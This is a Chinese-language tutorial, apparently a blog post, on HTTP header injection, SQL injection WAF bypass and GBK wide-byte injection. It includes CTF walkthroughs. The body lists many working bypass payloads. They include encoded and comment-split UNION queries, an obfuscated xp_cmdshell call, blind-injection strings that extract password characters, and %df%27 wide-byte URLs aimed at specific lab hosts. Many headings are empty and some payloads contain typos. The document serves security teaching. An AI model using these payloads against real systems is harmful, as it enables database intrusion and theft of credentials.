随着互联网的不断普及和Web应用的广泛应用,网络安全问题愈发引起广泛关注。在网络安全领域中,SQL注入和XXE注入是两个备受关注的话题,也是导致许多安全漏洞的主要原因之一。本博客将深入研究这两种常见的Web漏洞,带您探寻背后的原理、攻击方式和防御策略。
SQL注入是一种臭名昭著的攻击方式,通过在输入框中插入恶意SQL语句,黑客可以绕过身份验证,进而访问、篡改或删除数据库中的数据。我们将探讨SQL注入的不同形式,以及如何通过正确的输入验证和参数化查询等手段来有效预防这类攻击。
另一方面,XXE注入则利用XML处理器解析XML输入时的弱点,使攻击者能够读取本地文件、发起远程请求等。我们将详细分析XXE注入的工作原理,并介绍如何使用安全的XML解析器配置来降低风险。通过了解这两种漏洞的内在机制,我们希望能够为开发者、安全从业者以及对网络安全感兴趣的人们提供关于Web应用安全的深度认识。在这个信息互联的时代,保护我们的Web应用免受SQL注入和XXE注入等威胁是至关重要的。
五、HTTP文件头注入
1、HTTP Header概述
(1)、HTTP简介
①、URL 简介
URL即统一资源定位符(Uniform ResourceLocator),用来唯一地标识万维网中的某一个文档。URL由协议、主机和端口(默认为80)以及文件名三部分构成。
②、HTTP 简介
一种按照URL指示,将超文本文档从一台主机(web服务器)传输到另一台主机(浏览器)的应用层协议,以实现超链接的功能。
(2)、HTTP 工作原理
(3)、HTTP 连接方式与无状态性
(4)、HTTP 消息类型的分类
(5)、HTTP 请求消息示例
(6)、HTTP 请求报文组成
(7)、HTTP 请求的方法
(8)、HTTP 响应消息示例
(9)、HTTP 响应消息示例
(10)HTTP 响应消息状态码
2、HTTP Header注入
(1)、HTTP Header内容
①、User-Agent: 使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
②、Cookie: 网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据 (通常经过加密)
③、X-Forwarded-For: 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
④、Clien-IP:同上
⑤、Rerferer: 浏览器向 WEB 服务器表明自己是从哪个页面链接过来的
⑥、Host: 客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
(2)、常见的HTTP Header注入类型
①、Cookie注入
②、Referer注入
③、UA注入
④、XFF头注入
(3)、HTTP Header注入的检测
①、HTTP头存在注入的话,可以使用burpsuite抓包工具,进行抓包注入(有时需要手工添加相关头参数)
②、、在可能存在注入的http头部加上 (*) 星号,作为sqlmap跑注入时候的定位符 (就是说明这个’ 可控参数可能存在sgl注入’ )
(4)、Cookie注入
(5)、Referer注入
(6)、UA注入
(7)、HTTP Header注入的检测
①、火狐插件 (modify headers)用来进行源IP地址的伪造也可以添加一些可能存在http头注入的参数进行抓包检测
(8)、HTTP Header注入利用
①、实验1: 基于DVWA的cookie注入
②、实验2: 基于SQLI平台Less-18的user-agent注入(SQLMAP的tech参数使用)
③、实验3: 基于webbug3.0平台第5关的XFF注入
④、实验4: 基于webbug3.0平台第12关的文件头注入
六、SQL注入的WAF检测与绕过
1、SQL注入的WAF检测与绕过
(1)、WAF确认身份后的数据包处理
(2)、WAF数据包解析阶段的绕过(通用型绕过)
①、各种编码绕过
②、复参数绕过
③、异常Method绕过编码方式绕过(urlencoded/multipart)
(3)、WAF规则策略阶段的绕过
①、数据库特殊语法绕过
②、关键字拆分绕过
③、请求方式差异规则松懈性绕过
④、冷门函数/标签绕过
2、WAF数据包解析阶段的绕过(通用型绕过)
(1)、各种编码绕过
①、?id=1 union select pass from admin limit 1
?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
②、?id=1 union select pass from admin limit 1
?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1
(2)、复参数绕过
?id=1 union select 1&id=pass from admin
(3)、异常Method绕过
Seay /1.php?id=1 and 1=1 HTTP/1.1
Host: www.cnseay.comAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
(4)、编码方式绕过 (urlencoded/multipart)
3、WAF规则策略阶段的绕过
(1)、数据库特殊语法绕过
①、mysql .符号和~符号和!符号以及+和-号连接
?id=1.union%0aselect@1,2 !3,4
(2)、关键字拆分绕过
cnseay.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "netuser
(3)、请求方式差异规则松懈性绕过
①、WAF业务限制,POST规则相对松懈
GET /id=1 union select 1,2,3,4 ---拦截
POST id=1 union select 1,2,3,4 --绕过
(4)、冷门函数/标签绕过
①、/1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user0)),1))
②、/1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name frominformation
schema.tables limit 1)));
4、SQL注入的WAF检测与绕过
(1)、WAF(安全狗) 绕过实例
(2)、大小写绕过
①、比如拦截了union,那就使用Union UnloN等等。
(3)、编码绕过
①、WAF检测关键字,比如检测union,
用%55 ,也就是U的16进制编码来代替U,union写成 %55nION,结合大小写也
可以绕过一些WAF
②、使用char来绕过过滤
使用char(ASCII码)来替换字符,可以直接在MYSOL下工作。
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)为or 1=1的编码
(4)、注释绕过
适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询
?id=1+union+select+1,2,3/*
比如对于上面这条查询,WAF过滤了一次union和select,在之前在写一个注释的语句,让他把注释里面的过滤掉,并不影响我们的查询绕过语句就是:
/?id=1/*union*/union/*select*/select+1,2,3/*
①、绕过空格过滤
使用注释/**/来替换
select/**/pwd/**/from/**/usertable/**/where/**/id='admin'
(5)、分隔重写绕过
①、适用于WAF采用了正则表达式的情况,会检测所有的敏感字
/?id=1+un/**/ion+sel/**/ect+1,2,3-
至于重写绕过,适用于WAF过滤了一次的情况,和上传aaspsp马的原理一样可以写出类似Ununionion这样的。过滤一次union后就会执行查询了
?id=1 ununionion select 1,2,3-
(6)、用逻辑运算符 or /and绕过
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录比如是admin,
然后mid(上一句),1,1就是取admin的第一个字符,也就是a,
ower(上一句)就是把字符转换为小写
然后ascii就是把a转换成ascii码,看等不等于74.
(7)、比较操作符替换
包括 != 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=进行绕过,
对于上页例子,要判断是不是74,假设=被过滤,那么可以判断是不是大于73.是不是小于75,然后就知道是74了
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),11)))>73
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))<75
(8)、同功能函数替换
①、Substring()可以用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。
②、Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换
③、Benchmark() 可以用sleep()来替换 时间盲注
substring((select password'),1,1) = 0x70
substr((selectpassword'),1,1) = 0x70
mid((selectpassword'),1,1) = 0x70
这三条,都是从password里判断第一个字符的值
strcmp(left(password',1), 0x69) = 1
strcmp(left(password',1), 0x70) = 0
strcmp(left(password'1), 0x71) = -1
来替换,left用来取字符串左起1位的值,strcmp用来比较两个值,如果比较结果相等就为0,左边小的话就为-1,否则为1
(9)、盲注无需or或者and
index.php?uid=123 uid=123的时候页面是正确的,
and or 被过滤了,直接修改123为我们的语句生成的
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1)0x42)+123
盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是B,就这样猜,不用and 和or了。
(10)、利用二阶SQL注入
①、利用二阶SQL注入
--概念
(1)攻击者在HTTP请求中提交某种经过构思的输入。
(2)应用存储该输入 (通常保存在数据库中) 以便后面使用并响应请求
(3)攻击者提交第二个 (不同的) 请求。
(4)为处理第二个请求,应用会检索已经存储的输入并处理它,从而导致攻击者注入的SQL查询被执行。
(5)如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果。
②、创建一个联系人a'+@@version+'a
③、这样提交的字面值将联系人资料安全保存到数据库中,接着更新这个联系人资料
④、检索出来的信息在内存中,接下来列UPDATE语句,将新信息保存到数据库中
⑤、查看更新过的联系人的详细信息时
(11)、利用宽字符SQL注入
①、统一的国际规范的理想
程序都使用unicode编码,所有的网站都使用utf-8编码
②、国内及国外 (特别是非英语国家) 的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型。也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本。
③、一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节简体中文系统中ANSI就代表是GBK
(12)、SQL注入的WAF检测绕过实验
①、实验1: 基于SQLI平台Less-23 (过滤注释符号) 的WAF检测绕过实验
②、实验2: 基于SQLI平台Less-24 (二次注入) 的WAF检测绕过实验
③、实验3:基于SQLI平台Less-25 (过滤了and和or关键字) 的WAF检测绕过实验
④、实验4: 基于SQLI平台Less-26 (过滤了很多关键字) 的WAF检测绕过实验
5、宽字节注入
(1)、没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。
(2)、利用场景
①、现在大多数的网站对于SQL注入都做了一定的防御,使用Mysql中转义的函数如addslashes,mysql_real_escape_string,mysql_escape_string等,还有配置magic_quote_gpc,不过PHP高版本已经移除此功能。这些函数就是为了过滤用户输入的特殊的字符,通过加上反斜杠 “\”进行转义,这样就安全了么?
$id = isset($_GET[id']) ? addslashes($_GET[id']) : 1;addslashes()
函数返回在预定义字符之前添加反斜杠的字符串。预定义字符是:
(1)、单引号(')
(2)、双引号 (").
(3)、反斜杠(\)
(4)、NULL
(3)、GBK-Payload
%df%27
利用MySQL的一种特性,GBK是多字节编码,两个字节就代表一个汉字,在%df加入的时候会和转义符\,即%5c进行结合,变成了一个“運”,而“逃逸了出来
id=1%df%df 不报错 id=1%df%df%5c%27
%df%df是一个汉字,%5c%27不是汉字,仍然是\’’
解决方案
根据gbk编码,第一个字节ascii码大于128,基本上就可以。比如不用%df,用%a1%a1%5c可能不是汉字,但一定会被mysgl认为是一个宽字符,就能够让后面的%27逃逸了出来
(4)、CTF分析1: hackinglab注入关-------第三关
在进行注入测试的时候,尝试了各种方法发现程序都没有出现问题后来根据下方评论中给出的提示以及响应头中返回的 charset=gb2312 ,猜测可能是一个宽字节注入。报错提示出现后,按照常规思路接着爆破即可
ttp://lab1.xseclab.com/sgli4_9b5a929e00e122784e44eddf2b6aa1a0/ndex.php?id=2%df'
(5)、CTF分析2: 2017NJCTF---come on (分值200)
(6)、CTF分析http://ctf.bugku.com/平台上的练习
①、根据提示,应该是GET方式的 id存在注入
②、先用基本真假式注入发现没反应,又试了些注入语句都没效果
③、试试宽字节注入:
http://103.238.227.13:10083/?id=1%df%27 报错
union select测试到两列时出现回显:
http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23
④、构造语句查看一下数据库名
http://103.238.227.13:10083/?id=1%df%27 union select 1,database)%23sql5 爆出库名
⑤、开始注入,payload:
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key whereid=1%23
(7)、CTF分析4: 南京邮电大学攻防平台 sglinjection3
(8)、CTF分析5: 2015第六季极客大挑战--------sqli2
(9)、CTF分析6: ISCC 2017全国大学生信息安全与对抗技术竞赛
(10)、cms使用mysql_real_escape_string替换addslashes,来抵御宽字符注入
(11)、宽字节注入利用
实验: 基于SQLI平台Less-32、Less-36的宽字节注入实验